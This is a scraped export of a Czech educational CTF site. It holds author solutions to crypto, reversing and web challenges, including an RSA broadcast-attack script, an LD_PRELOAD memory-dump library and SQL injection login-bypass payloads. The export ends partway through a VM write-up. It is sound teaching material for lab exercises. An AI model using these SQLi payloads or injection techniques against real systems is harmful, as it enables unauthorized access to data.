[{"content":" Kybercvična Kybercvična je projekt Centra kybernetické bezpečnosti, z.ú. pro podporu výuky kybernetické bezpečnosti na druhých stupních základních škol, středních a vysokých školách. Na těchto stránkách najdete zadání a řešení vybraných CTF úloh z uskutečněných ročníků Národní soutěže ČR v kybernetické bezpečnosti a jiných navázaných soutěží.\nÚlohy a řešení jsou poskytnuty se souhlasem jejich autorů pro širokou veřejnost, a to včetně spustitelných instancí u úloh, které vyžadují vzdálený server.\nPozor! Příspěvky na tomto webu obsahují řešení úloh. Proto si dejte pozor při procházení abyste si omylem neodhalili řešení nějaké úlohy. Doporučujeme si úlohy nejdříve vyzkoušet v našem CTFd. Logo Kybercvičny Logo Kybercentra Logo Kybersoutěže Logo Kybertýmu ","date":null,"permalink":"https://kybercvicna.cz/","section":"","summary":"","title":""},{"content":"","date":null,"permalink":"https://kybercvicna.cz/authors/","section":"Autoři","summary":"","title":"Autoři"},{"content":"The Cryptography category often features ciphertexts, cryptographic algorithms, or cryptographic systems which involve several encryption and decryption protocols used to uncover hidden messages or vulnerabilities.\n","date":null,"permalink":"https://kybercvicna.cz/categories/crypto/","section":"Kategorie","summary":"","title":"Crypto"},{"content":"","date":null,"permalink":"https://kybercvicna.cz/authors/flagisallus/","section":"Autoři","summary":"","title":"flagisallus"},{"content":"Seznam CTF kategorií z uskutečněných ročníků Kybersoutěže a jiných navázaných soutěží.\nPozor! Příspěvky na tomto webu obsahují řešení úloh. Proto si dejte pozor při procházení abyste si omylem neodhalili řešení nějaké úlohy. Doporučujeme si úlohy nejdříve vyzkoušet v našem CTFd. ","date":null,"permalink":"https://kybercvicna.cz/categories/","section":"Kategorie","summary":"","title":"Kategorie"},{"content":" Solution #Při pohledu na zdrojový kód si můžeme všimnout několika zajímavostí:\nnaprosto stejnou zprávu šifrujeme pomocí různých klíčů hodnota e (ve zdrojovém souboru prayer_level) je vždy 521, což není moc obvyklá hodnota, ale oproti běžně používáné hodnotě 65537 je poměrně nízká dle zadání má vlajka 38 znaků, a ze zdrojového kódu je patrné, že neprobíhá žádný padding. Velikost plaintextu tedy bude zhruba 304 bitů A znalý kryptograf by již měl vidět, že se jedná o problém řešitelný pomocí už klasické metody využívající Čínskou větu o zbytcích (CRT).\nČínská věta o zbytcích\nUvažujme soustavu lineárních kongruencí: $$\\begin{align*} x \\equiv \u0026\\ c_1 \\pmod{n_1}, \\\\ x \\equiv \u0026\\ c_2 \\pmod{n_2}, \\\\ \\vdots \u0026\\ \\\\ x \\equiv \u0026\\ c_E \\pmod{n_E},\\end{align*}$$ kde \\(n_1,n_2,\\dots,n_E \\geq 2\\) jsou jsou navzájem nesoudělná pro každá \\(i\\neq j\\).\nŘešení této soustavy vždy existuje a umíme jej najít. Všechna řešení jsou kongruentní modulo \\(M\\), kde $$M = \\prod_{i=1}^Ec_i$$ Důkazem věty se zde zabývat nebudeme (zájemci si jistě dohledají ve své oblíbené učebnici teorie čísel), je však pro nás důležité vědět, že nejen že řešení existuje, ale umíme jej najít v rozumném čase (\\(\\mathcal O(M)\\)).\nÚtočník si může vyžádat od serveru více různých šifrovaných zpráv, přičemž každá z nich je zašifrována stejnou zprávou pomocí rozdílných RSA modulů. Tím, že získáme alespoň e (t.j. 521) takových zpráv, můžeme využít fakt, že pro každou zašifrovanou zprávu platí: $$m^e \\equiv c_i \\pmod{n_i}$$Pomocí Čínské věty o zbytcích pak získáme číslo, které splňuje: \\(M=m^e\\).\nZa předpokladu, že \\(m^e\\) je menší než součin všech modulů (což platí díky dostatečně malé velikosti zprávy), můžeme jednoduše vypočítat \\(\\sqrt[521]{M}\\) a získat tak původní zprávu \\(m\\).\nV praxi však ke správnému řešení můžeme dojít i s menším množstvím kongruencí (a tedy zpráv), což můžeme snadno ověřit díky naší znalosti flag formátu, hledání tak můžeme o něco urychlit.\nExploit script #import requests from Crypto.Util.number import long_to_bytes from gmpy2 import iroot from sympy.ntheory.modular import crt cs = [] ns = [] for i in range(521): print(i) decoded = requests.get(\u0026#34;http://localhost:1337/blessing\u0026#34;).json() c = int(decoded[\u0026#34;blessing\u0026#34;], 16) n = int(decoded[\u0026#34;harmony\u0026#34;], 16) e = int(decoded[\u0026#34;sacred_number\u0026#34;], 16) ns.append(n) cs.append(c) m_pow_e = crt(ns, cs) m = iroot(int(m_pow_e[0]), e)[0] plaintext = long_to_bytes(m) if b\u0026#34;FGSL\u0026#34; in long_to_bytes(m): print(long_to_bytes(m)) break ","date":"23. února 2025","permalink":"https://kybercvicna.cz/reseni-uloh/klastersa-autorske-reseni/","section":"Řešení úloh","summary":"","title":"KlášteRSA - Autorské řešení úlohy"},{"content":"Finálové kolo devátého ročníku Kybersoutěže, národní soutěže ČR v kybernetické bezpečnosti.\n","date":null,"permalink":"https://kybercvicna.cz/ctfs/nskb9-finale/","section":"Soutěže","summary":"","title":"NSKB 9 - Finále"},{"content":"Seznam řešení vybraných CTF úloh z uskutečněných ročníků Kybersoutěže a jiných navázaných soutěží.\nPozor! Příspěvky na tomto webu obsahují řešení úloh. Proto si dejte pozor při procházení abyste si omylem neodhalili řešení nějaké úlohy. Doporučujeme si úlohy nejdříve vyzkoušet v našem CTFd. ","date":null,"permalink":"https://kybercvicna.cz/reseni-uloh/","section":"Řešení úloh","summary":"","title":"Řešení úloh"},{"content":"Seznam uskutečněných ročníků Kybersoutěže a jiných navázaných soutěží.\nPozor! Příspěvky na tomto webu obsahují řešení úloh. Proto si dejte pozor při procházení abyste si omylem neodhalili řešení nějaké úlohy. Doporučujeme si úlohy nejdříve vyzkoušet v našem CTFd. ","date":null,"permalink":"https://kybercvicna.cz/ctfs/","section":"Soutěže","summary":"","title":"Soutěže"},{"content":"","date":null,"permalink":"https://kybercvicna.cz/authors/hackrrr/","section":"Autoři","summary":"","title":"Hackrrr"},{"content":"Many challenges in CTFs will be completely random and unprecedented, requiring simply logic, knowledge, and patience to be solved.\n","date":null,"permalink":"https://kybercvicna.cz/categories/miscellaneous/","section":"Kategorie","summary":"","title":"Miscellaneous"},{"content":"Solution #Máme zašifrované data pomocí AESu v EAX módu. Známe ciphertext, tag a klíč, neznáme ale nonce/IV.\nNaštěstí tag obsahuje informaci o nonce. Naneštěstí v tagu jsou zamíchané (XORem) i ostatní \u0026ldquo;informace\u0026rdquo; - OMAC ze cipertexu + OMAC z AD. Naštěstí OMAC dokážeme (se znalostí klíče) také zjistit a z tagu vyXORováním lze získat nonce, kterou lez použít pro dešifrování dat.\nExploit script #from Crypto.Cipher import AES from Crypto.Hash import CMAC def xor(a: bytes, b: bytes) -\u0026gt; bytes: return bytes([x ^ y for x, y in zip(a, b)]) with open(\u0026#34;output.txt\u0026#34;) as f: KEY = bytes.fromhex(f.readline().split(\u0026#34;: \u0026#34;, 1)[1]) DATA = bytes.fromhex(f.readline().split(\u0026#34;: \u0026#34;, 1)[1]) TAG = bytes.fromhex(f.readline().split(\u0026#34;: \u0026#34;, 1)[1]) # OMAC1 (for authenticated data; empty) omac1 = CMAC.new(KEY, b\u0026#34;\\x00\u0026#34; * 15 + b\u0026#34;\\x01\u0026#34;, AES) # OMAC2 (for encrypted data) omac2 = CMAC.new(KEY, b\u0026#34;\\x00\u0026#34; * 15 + b\u0026#34;\\x02\u0026#34;, AES) omac2.update(DATA) # Recover OMAC0 digest/result omac0 = xor(xor(omac1.digest(), omac2.digest()), TAG) # Construct AES CTR with recovered OMAC0 digest as initial counter state cipher = AES.new( KEY, AES.MODE_CTR, nonce=b\u0026#34;\u0026#34;, initial_value=int.from_bytes(omac0) ) plaintext = cipher.decrypt(DATA) print(plaintext) ","date":"31. ledna 2025","permalink":"https://kybercvicna.cz/reseni-uloh/oh-no-nce-autorske-reseni/","section":"Řešení úloh","summary":"","title":"Oh no(nce) - Autorské řešení úlohy"},{"content":"OpenCCSC je otevřená soutěž, kterou pořádají organizátoři Kybersoutěže. V otevřené kategorii se může účastnit kdokoliv na světě. Prvního ročníku v roce 2025 se zúčastnilo přes 100 soutěžících a u 7 evropských národů sloužila jako součást kvalifikace do národních týmů.\n","date":null,"permalink":"https://kybercvicna.cz/ctfs/openccsc-2025/","section":"Soutěže","summary":"","title":"OpenCCSC 2025"},{"content":"Solution #Když se připojíme na port, zjistíme, že jsme v shellu a máme k mání binárku rev_without_r a main.c (zřejmě její zdrojový soubor). Jak se píše v zadání, tak se zcela jistě bude jednat o jednoduchou úlohu, takže by by mělo stačit jen spustit daný program:\n$ ./rev_without_r You want a flag? Too bad you can\u0026#39;t read it. But I\u0026#39;m nice, so I will read it for you. So here goes your flag: Hmm... Strange. I got a SIGSEGV when reading it. I guess I can\u0026#39;t read it either. Well... Good luck trying to read it then... \u0026hellip; což ale zcela nečekaně nefunguje. Podle vypsaného textu lze poznat, že main.c nejspíše opravdu bude k tomuto programu. Ze zdrojového kódu lze vyčíst, že program se skutečně pokusí vypsat vlajku, ale zřejmě opravdu nastane segfault\u0026hellip; Ze zdrojového kódu lze také přečíst, že vlajka se zadává při kompilaci programu a pak se ukládá do zvláštně anotované proměnné:\n// FLAG_STR je definovaný symbol (\u0026#34;z příkazové řádky\u0026#34;) obsahující vlajku __attribute__((section(\u0026#34;.flag\u0026#34;))) volatile const char FLAG_DATA[] = FLAG_STR; Vlajka je tedy \u0026ldquo;prostě\u0026rdquo; zapsaná do programu jako plaintext, ovšem do nějaké speciální sekce, což ale nás asi nemusí moc zajímat\u0026hellip; Tím pádem řešení by mělo být jednoduché, prostě jen vzít strings a \u0026hellip; Aha, binárka má práva 0o111 - můžeme ji jen spouštět (ale ne číst).\nNaštěstí to nám může postačit, protože se (nejspíše (podle relativně malé velikosti)) jedná o dynamicky linkovaný program a tedy můžeme použít LD_PRELOAD, abychom načetly \u0026ldquo;do programu\u0026rdquo; náš kód, který pak ale může číst paměť programu (a tedy i (nějaké) části samotné binárky). Na internetu lze najít nějaké kódy, které to dělají, pokud se nám nechce psát vlastní - osobně jsem použil (jako můj výchozí bod) řešení z https://unix.stackexchange.com/a/711936.\nKdyž nějaké takové řešení připravíme a zkusíme, tak zjistíme, že se nám vlajku získat napodařilo\u0026hellip; Pokud máme dostačně chytrý kód, tak nám sdělí, že při se mu v jeden moment nepodařilo z paměti nic přečíst (a nebo rovnou (stejně jako původní program) segfaltujeme). Můžeme udělat tip, proč se tomu tak děje: segfault znamená, že přistupujeme na \u0026ldquo;špatnou\u0026rdquo; pamět - buď neexistuje a nebo nemám práva. Vzhledem k tomu, že náš \u0026ldquo;injektovaný\u0026rdquo; kód by se měl pokoušet číst (ideálně) pouze namapovanou pamět (= \u0026ldquo;existující\u0026rdquo;), pak zbývá pouze druhá možnost.\nPokud ale nevíme, tak můžeme využít poměrně zajímavého faktu, že proces může přečíst svoje /proc/self/maps, což my jako uživatel nemůžeme, i přestože jsme vlastníkem procesu a i přestože maps soubor je podle práv readable - když si soubor necháme vypsat, uvidíme něco podobného jako:\n00400000-00401000 r-xp 00000000 08:20 216611 /home/user/rev_without_r 00401000-00402000 rw-p 00001000 08:20 216611 /home/user/rev_without_r 00402000-00404000 ---p 00002000 08:20 216611 /home/user/rev_without_r 00404000-00405000 r--p 00004000 08:20 216611 /home/user/rev_without_r 00910000-00931000 rw-p 00000000 00:00 0 [heap] 7f371825f000-7f3718262000 rw-p 00000000 00:00 0 7f3718262000-7f371828a000 r--p 00000000 08:20 1413334 /usr/lib/x86_64-linux-gnu/libc.so.6 7f371828a000-7f3718412000 r-xp 00028000 08:20 1413334 /usr/lib/x86_64-linux-gnu/libc.so.6 7f3718412000-7f3718461000 r--p 001b0000 08:20 1413334 /usr/lib/x86_64-linux-gnu/libc.so.6 7f3718461000-7f3718465000 r--p 001fe000 08:20 1413334 /usr/lib/x86_64-linux-gnu/libc.so.6 7f3718465000-7f3718467000 rw-p 00202000 08:20 1413334 /usr/lib/x86_64-linux-gnu/libc.so.6 7f3718467000-7f3718474000 rw-p 00000000 00:00 0 7f3718477000-7f3718478000 r--p 00000000 08:20 565665 /home/user/memdump.so 7f3718478000-7f3718479000 r-xp 00001000 08:20 565665 /home/user/memdump.so 7f3718479000-7f371847a000 r--p 00002000 08:20 565665 /home/user/memdump.so 7f371847a000-7f371847b000 r--p 00002000 08:20 565665 /home/user/memdump.so 7f371847b000-7f371847c000 rw-p 00003000 08:20 565665 /home/user/memdump.so 7f371847c000-7f371847e000 rw-p 00000000 00:00 0 7f371847e000-7f371847f000 r--p 00000000 08:20 1413314 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f371847f000-7f37184aa000 r-xp 00001000 08:20 1413314 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f37184aa000-7f37184b4000 r--p 0002c000 08:20 1413314 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f37184b4000-7f37184b6000 r--p 00036000 08:20 1413314 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f37184b6000-7f37184b8000 rw-p 00038000 08:20 1413314 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7ffc157e2000-7ffc15803000 rw-p 00000000 00:00 0 [stack] 7ffc158ec000-7ffc158f0000 r--p 00000000 00:00 0 [vvar] 7ffc158f0000-7ffc158f2000 r-xp 00000000 00:00 0 [vdso] Vidíme, že tu je jedna podivná sekce (0x00402000), která nemá nastavena žádná práva. Naštěstí tohle se dá z vnitřka programu změnit použitím (například) mprotect(..., PROT_READ). Můžeme si teda upravit náš kód na získání paměti, aby před čtením/kopírováním zkusil změnit práva paměti.\nPo úpravě a spuštění již dostaneme celou paměť programu, nyní i s tou částí paměti, kde je vlajka.\nExploit script #// Base taken from https://unix.stackexchange.com/a/711936 // but with added some extra things (maps file dump, comments, mprotect call, ...) // Usage: // gcc -fPIC -shared -o memdump.so memdump.c // LD_PRELOAD=./memdump.so ./rev_without_r // strings ./memdump.bin | grep HCKR #include \u0026lt;errno.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;sys/mman.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #define OUTPUT_FILE \u0026#34;memdump.bin\u0026#34; // If paths are longer than 8000 chars, then... well, this world is probably doomed anyways... #define BUFF_SIZE 8192 static void init(void) __attribute__((constructor)); static void init(void) { FILE *map_file, *out; char exe_path[BUFF_SIZE], page_path[BUFF_SIZE]; char *start, *end; size_t offset; // Read program path int tmp = readlink(\u0026#34;/proc/self/exe\u0026#34;, exe_path, sizeof(exe_path)); exe_path[tmp] = \u0026#39;\\0\u0026#39;; // Read program memory mapping out = fopen(OUTPUT_FILE, \u0026#34;w\u0026#34;); map_file = fopen(\u0026#34;/proc/self/maps\u0026#34;, \u0026#34;r\u0026#34;); // Dump map file to stdout printf(\u0026#34;Dumping map file:\\n\u0026#34;); size_t n; do { char buff[BUFF_SIZE]; n = fread(buff, 1, BUFF_SIZE, map_file); fwrite(buff, 1, n, stdout); fflush(stdout); } while (n == BUFF_SIZE); fseek(map_file, 0, SEEK_SET); // Don\u0026#39;t forget to move back to start... printf(\u0026#34;\\n\u0026#34;); // Some crazy scanf format for parsing the map file... while((tmp = fscanf(map_file, \u0026#34;%p-%p%*s%lx%*s%*s%*[ ]%[^\\n ]\\n\u0026#34;, \u0026amp;start, \u0026amp;end, \u0026amp;offset, (char*)\u0026amp;page_path)) != EOF) { // Dump only pages with program if (tmp == 4 \u0026amp;\u0026amp; !strcmp(page_path, exe_path)) { printf(\u0026#34;Dumping [%p - %p] from %s at offset %#lx... \u0026#34;, start, end, page_path, offset); // Try to make it readable... if (mprotect(start, end - start, PROT_READ) != 0) { printf(\u0026#34;mprotect() failed: %s\\n\u0026#34;, strerror(errno)); continue; } // Write data to file fseek(out, offset, SEEK_SET); printf(fwrite(start, end - start, 1, out) == 1 ? \u0026#34;OK\\n\u0026#34; : \u0026#34;FAIL\\n\u0026#34;); } } // We exit the process because why not. fclose(out); fclose(map_file); exit(0); } ","date":"31. ledna 2025","permalink":"https://kybercvicna.cz/reseni-uloh/rev-without-r-autorske-reseni/","section":"Řešení úloh","summary":"","title":"Rev without R - Autorské řešení úlohy"},{"content":"Solution #Máme program.b93. Když trochu pogooglíme, zjistíme, že se jedná o esoterický programovací jazyk Befunge:\nBefunge je dvojdimenzionální ezoterický programovací [\u0026hellip;]. Hlavním cílem bylo vytvořit jazyk, který bude tak obtížný ke kompilaci, jak jen to bude možné.\nVypadá to, že nás čeká pořádná zábava\u0026hellip;\nBefunge 101 #Pozn.: Tato sekce je spíše jen informativní, ne nutně důležité pro řešení.\nBefunge je 2D programovací jazyk - v programu se pohybujeme jako v hracím poli pomocí \u0026ldquo;šipek\u0026rdquo; (\u0026lt;\u0026gt;v^) a v tomto daném směru se pohybujeme, dokud nám směr jiná instrukce nezmění. K dispozici máme zásobník, do kterého lze přidávat hodnoty 0-9 (pomocí příslušných číslic) nebo pomocí uvozovek (\u0026quot;), které začínají a ukončují \u0026ldquo;string\u0026rdquo; mód, ve kterém všechny znaky, na které narazíme, vloží svoji hodnotu (ASCII) do zásobníku. Dále zde máme instrukce pro artitmetické operace +-*/, které vezmou 2 horní hodnoty zásobníku, provedou příslušnou operaci a výsledek vloží do zásobníku. Poté jsou zde podmínky _ a |. _ vezme hodnotu ze zásobníku a pokud je hodnota nula, pokračujeme od instrukce doprava, jinak doleva. Obdobně se chová | - vezme hodnotu ze zásobníku a pokud je hodnota rovna nule, změníme směr dolů, jinak pokračujeme nahoru.\nTo by bylo rychlé shrnutí základních instrukcí Befunge.\nAnalýza #Nejlepší způsob, jak začít analýzu, je pokusit se program spusit. Ačkoliv Befunge je navrženo tak, aby bylo extrémně komplikované ho zkompilovat (ale často to není nemožné, viz třeba cfunge), tak interpterace je relativně jednoduchá. Na internetu lze najít několik online interpteterů, které navíc mají často schopnost zobrazit zásobník a i (doslova) program flow. Osobně doporučuji tento, alternativně tento (zde ale je rozbité handlování vstupu, musí se manuálně patchnout, ale na druhou stranu tento je dle mého mnohem přívětivější).\nKdyž program spustíme (jakoukoliv metodou; třeba jsme zjistili, že máme moc času a tak jsme si vytvořili vlastní interpreter), zjistíme, že vypíše prgoram \u0026ldquo;Vstup (37 znaku): \u0026quot; a pak se opakovaně ptá na vstup (konkrétně 37krát), zadáme třeba 37x \u0026ldquo;A\u0026rdquo;.\nNásledně (pokud máme možnost vizualizace programu), můžeme vidět, že se program vydává do oblasti, kde se opakovaně střídají tyto 2 řádky (liší se jen poslední 2 čísla):\n^##\u0026gt;#-##:#1##_ $\\93+0g-#^_v \u0026gt; #^ #-##:#1##_ $\\93+1g-#^_v Program celou tuto sekci projede (oba \u0026ldquo;sloupce\u0026rdquo;), vyskočí pryč, vypíše \u0026ldquo;Spatne!\u0026rdquo; a skončí. Když ale zkusíme zadat něco, co má formát vlajky (třeba HCKR{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}), tak zjistíme, že na \u0026ldquo;poslední\u0026rdquo; řádce se program rozhodl jinak, něco provedl a vydal se procházet celou tuto sekci znova. Pokud jsme ještě více pozorní, můžeme si všimnout, že ze zásobníku zmizela hodnota }/125.\nNa základě tohoto si lze tipnout, že každá tato \u0026ldquo;řádka\u0026rdquo; kontroluje jeden znak - to si lze potvrdit i tím, že těchto řádek je příhodně 37 (= délka vstupu).\nVyřešení #Nyní když máme dobrý tip na to, co se (hodně abstraktně) děje, tak musíme přijít na to, jak se reálně ověřují zadané znaky\u0026hellip; Víme, že poslední \u0026ldquo;řádka\u0026rdquo; (\u0026gt; #^ #-##:#1##_ $\\93+7g-#^_v) kontroluje }, to je dobrý start kde začít.\nJediné rozhodování v tomto kusu kódu jsou 2 instrukce _. Pozorovnáním průběhu vykonávání zjistíme, že se (v tomto) začíná zleva a prvnímu rozhodování (instrukce _) předchází jen : (duplikování zásobníku). Pokud není nula, tak se \u0026ldquo;vracíme zpět\u0026rdquo; a jdeme na další řádek\u0026hellip; to není moc zajímavý. Pokud ale je nula, tak se pokračuje \u0026ldquo;dále na řádku\u0026rdquo; na $\\93+7g-#^_v. Zde se nějak manipuluje se zásobníkem (pop a prohození), následně se na zásobník dá 9+3 a 7 a vykoná se instrukce g.\ng je \u0026ldquo;speciální\u0026rdquo; instrukce a jeden z důvodů, proč je Befunge tak obtížný na kompilaci. g umožňuje přečíst znak programu (který se zrovna vykonává) a načíst na zásobník. Jaký znak se načte, určují dvě hodnoty ze zásobníku, vrchní je vertikální souřadnice, druhá je horizontální (obě se počítají od nuly, tedy 0 znamená první řádka/sloupec). V našem případě je to tedy (vrchní/první) 7 a (spodní/druhá) 12. A naštěstí pro nás na této pozici v programu je znak }, což odpovídá našim nálezům.\nNyní můžeme už nám zbývá jen tyto pozice zjistit (a \u0026ldquo;vyhodnotit\u0026rdquo;) pro každý řádek, pokud jsme líný, můžeme si na to napsat i nějaký progámek.\nNa konci tohoto procesu dostanem vlajku HCKR{Pr1Ste_s1_Vy2k0uS1m3_3D_Pr0GraM}.\nExploit script #Skript (tedy \u0026ldquo;nějaký ten prográměk\u0026rdquo; z předposledního odstavce minulé sekce), který ze zadaného programu dokáže vlajku vyčíst.\nINPUT = \u0026#34;program.b93\u0026#34; CHARS = r\u0026#34;\u0026#34;\u0026#34; ABCDEabcd FGHIJefgh KLMNOijkl PQRSTmnop UVWXYqrst Z0123uvwx 45678yz() 9{}_.[]\\/ \u0026#34;\u0026#34;\u0026#34;.strip().split(\u0026#34;\\n\u0026#34;) SPLIT_COLUMN = 45 MARK = \u0026#34;$\\\\\u0026#34; def resolve_pos(pos_str): return CHARS[int(pos_str[3])][int(pos_str[1])-1] first: list[str] = [] second: list[str] = [] with open(INPUT) as f: for line in f: a = line[:SPLIT_COLUMN] b = line[SPLIT_COLUMN:] if MARK in a: first.append(resolve_pos(a.split(MARK)[1])) if MARK in b: second.append(resolve_pos(b.split(MARK)[1])) print(\u0026#34;\u0026#34;.join(first[::-1]+second[::-1])) ","date":"30. ledna 2025","permalink":"https://kybercvicna.cz/reseni-uloh/dalsi-dimenze-autorske-reseni/","section":"Řešení úloh","summary":"","title":"Další dimenze - Autorské řešení úlohy"},{"content":"The Reverse Engineering category often features programs from all operating systems which must be reverse engineered to determine how the program operates.\nTypically the goal is to get the application to reach a certain point or perform some action in order to achieve a solution.\n","date":null,"permalink":"https://kybercvicna.cz/categories/reversing/","section":"Kategorie","summary":"","title":"Reversing"},{"content":"","date":null,"permalink":"https://kybercvicna.cz/authors/jagotu/","section":"Autoři","summary":"","title":"JaGoTu"},{"content":"Druhé kolo devátého ročníku Kybersoutěže, národní soutěže ČR v kybernetické bezpečnosti.\n","date":null,"permalink":"https://kybercvicna.cz/ctfs/nskb9-2kolo/","section":"Soutěže","summary":"","title":"NSKB 9 - 2. kolo"},{"content":"Solution #Úkolem je systematicky (ať už ručně nebo automaticky) najít vyhovující třídu z PHP. Například je možné stáhnou z https://www.php.net/download-docs.php celou dokumentaci v jednom HTML file a následně najít všechny konstruktory které mají mezi závorkami int a string:\ncat php-bigxhtml.html | grep -F \u0026#39;class=\u0026#34;methodname\u0026#34;\u0026gt;__construct\u0026#39; | sed \u0026#39;s/\u0026lt;[^\u0026gt;]*\u0026gt;//g\u0026#39; | grep \u0026#39;(.*int.*string.*)\u0026#39; To vrátí 20 řádků, což je realistické ručně projít na false positives. Zbydou tři skutečné možnosti:\npublic __construct(int $flags = FILEINFO_NONE, ?string $magic_database = null) public __construct(int $size, string $class = ?, array $ctor = ?) final public __construct( int $id, string $text, int $line = -1, int $pos = -1) Hned první je náš hledaný konstruktor příslušný třídě finfo. Stačí tedy přistoupit na /?a=finfo\u0026amp;b=/flag.txt a získat z chybové hlášky flagu.\n(Další dva kandidáti jsou třída Pool, kterou se mi ani nepodařilo instancovat, a PhpToken, která se prostě vyrobí a nice nedělá).\n","date":"25. listopadu 2024","permalink":"https://kybercvicna.cz/reseni-uloh/slepa-mapa-autorske-reseni/","section":"Řešení úloh","summary":"","title":"Slepá mapa - Autorské řešení úlohy"},{"content":"The Web Security category often features custom developed web applications which include some web security flaw which must be identified and exploited.\n","date":null,"permalink":"https://kybercvicna.cz/categories/web/","section":"Kategorie","summary":"","title":"Web"},{"content":"Solution #Vlastně nevím moc co komentovat, jsou to jednoduchoučké SQLi :)\nPrvní level # U: ' OR 1=1-- P: a Druhý level:\nU: ' UNION SELECT 'a'-- P: a Třetí level:\nU: ' UNION SELECT '0cc175b9c0f1b6a831c399e269772661'-- P: a ","date":"18. listopadu 2024","permalink":"https://kybercvicna.cz/reseni-uloh/sqli-prequel-autorske-reseni/","section":"Řešení úloh","summary":"","title":"SQLi Prequel - Autorské řešení úlohy"},{"content":"Solution #Do limitu 43 znaků se nevejde celá md5ka a UNION SELECT, takže je potřeba ji rozložit mezi username a password. Nicméně password je to z čeho se počítá md5ka, takže je potřeba bruteforcem najít \u0026ldquo;seberefernční\u0026rdquo; hash.\nPoužil jsem na to následující python skript:\nimport hashlib import itertools import string import time import random start = time.time() target = \u0026#39;\u0026#39;.join(random.choice(string.digits + \u0026#39;abcdef\u0026#39;) for _ in range(6)) for c in itertools.product(string.ascii_letters + string.digits, repeat=7): payload = \u0026#34;\u0026#34;.join(c) password = \u0026#34;*/||\u0026#39;\u0026#34; + target + \u0026#34;\u0026#39;--\u0026#34; + payload if hashlib.md5(password.encode()).hexdigest().endswith(target): print(password, hashlib.md5(password.encode()).hexdigest()) break print(time.time() - start) Ukázka výstupu:\n*/||\u0026#39;d2dbc8\u0026#39;--aaa1MsS 1fa6aaa88b72e054cb2bf22ec6d2dbc8 6.705181121826172 Následně je možné použít následující řešení:\nU: 'UNION SELECT'1fa6aaa88b72e054cb2bf22ec6'/* P: */||'d2dbc8'--aaa1MsS ","date":"18. listopadu 2024","permalink":"https://kybercvicna.cz/reseni-uloh/sqli-sequel-autorske-reseni/","section":"Řešení úloh","summary":"","title":"SQLi Sequel - Autorské řešení úlohy"},{"content":"The Exploitation category often features compiled programs which have a vulnerability allowing a competitor to gain a command shell on the server running the vulnerable program.\nThis often has the user exercising reverse engineering skills as well.\n","date":null,"permalink":"https://kybercvicna.cz/categories/pwn/","section":"Kategorie","summary":"","title":"Pwn"},{"content":"Solution #We have an ELF which implements a custom VM. Fortunately, the author decided NOT to strip this binary, so we can have a look at these wonderful named functions.\nIt looks like there is an object which represents the VM and it has a function called execute_code (usually, the object is first argument of its method in Ghidra, because it can\u0026rsquo;t decompile back to OOP).\nexecute_code seems to be a switch which chooses from various functions based on the opcode of the instruction. We can see some interesting names, such as cmp or syscall.\nSince we can see the opcodes in the decompiled code, we can use them to make a basic disassembler.\nI put the raw bytes of the VM code to compiled_code, so that we can disassemble it using ./disassembler.py compiled_code. (Otherwise, they can be found also in the decompilation or disassembly)\n#!/usr/bin/env python3 import sys if len(sys.argv) \u0026lt; 2: print(\u0026#34;Usage: ./disassembler.py filename.a3\u0026#34;) exit(0) def convert(arg, memi, imm = False): if memi or imm: return hex(int(arg)) lookup_table = {0x11 : \u0026#34;A\u0026#34;, 0x12 : \u0026#34;B\u0026#34;, 0x13 : \u0026#34;C\u0026#34;, 0x14 : \u0026#34;D\u0026#34;, 0x15 : \u0026#34;E\u0026#34;, 0x0 : \u0026#34;N\u0026#34;} try: return lookup_table[arg] except KeyError: return hex(int(arg)) code = b\u0026#34;\u0026#34; with open(sys.argv[1], \u0026#34;rb\u0026#34;) as inp: result = \u0026#39;\u0026#39; code = inp.read() for instruction in range(0, len(code), 3): # print(f\u0026#34;{line = }\u0026#34;) cmd = code[instruction] arg1 = code[instruction + 1] arg2 = code[instruction + 2] cmd_lookup_table = { 0x42: \u0026#34;mov\u0026#34;, 0x24: \u0026#34;stack\u0026#34;, 0x12: \u0026#34;syscall\u0026#34;, 0x06: \u0026#34;movi\u0026#34;, 0x03: \u0026#34;memov\u0026#34;, 0x04: \u0026#34;memovi\u0026#34;, 0x13: \u0026#34;memld\u0026#34;, 0x14: \u0026#34;memldi\u0026#34;, 0x10: \u0026#34;add\u0026#34;, 0x11: \u0026#34;addi\u0026#34;, 0x45: \u0026#34;sub\u0026#34;, 0x25: \u0026#34;xor\u0026#34;, 0x26: \u0026#34;xori\u0026#34;, 0x62: \u0026#34;cmp\u0026#34;, 0x27: \u0026#34;nop\u0026#34; } command = \u0026#34;\u0026#34; try: command = cmd_lookup_table[cmd] except KeyError: print(f\u0026#34;Invalid Instruction {instruction // 3}: {cmd} {arg1} {arg2}\u0026#34;) exit(0) imm = command[-1] == \u0026#34;i\u0026#34; memi = command == \u0026#34;memovi\u0026#34; or command == \u0026#34;memldi\u0026#34; if command == \u0026#34;syscall\u0026#34;: # I like to differentiate syscall from other instructions since it is the most important thing result += f\u0026#34;\\n{command} {convert(arg1, memi)}, {convert(arg2, memi, imm)}\\n\\n\\n\u0026#34; else: result += f\u0026#34;{command} {convert(arg1, memi)}, {convert(arg2, memi, imm)}\\n\u0026#34; # print(f\u0026#34;{result[-3:]}\u0026#34;) print(result.strip()) Length of the flag can be found either using strace or by looking at the code.\nstrace ./chall ... write(1, \u0026#34;This challenge uses vm obfuscati\u0026#34;..., 90This challenge uses vm obfuscation. You need to reverse the architecture to get the flag. ) = 90 write(1, \u0026#34;Flag:\\n\u0026#34;, 6Flag: ) = 6 read(0, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \u0026#34;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0026#34;, 30) = 30 write(1, \u0026#34;Your flag is incorrect!\\n\u0026#34;, 24Your flag is incorrect! ) = 24 ... In this case, it seems like the flag length is 30 characters. If we dive deeper into the code, however, we will see that the code really operates only with the first 29 characters (the last one is reserved for \\n).\nWhen we go through the code, we can see some memovi instructions and syscalls after them, those are presumably write syscalls. We can skip them and look for 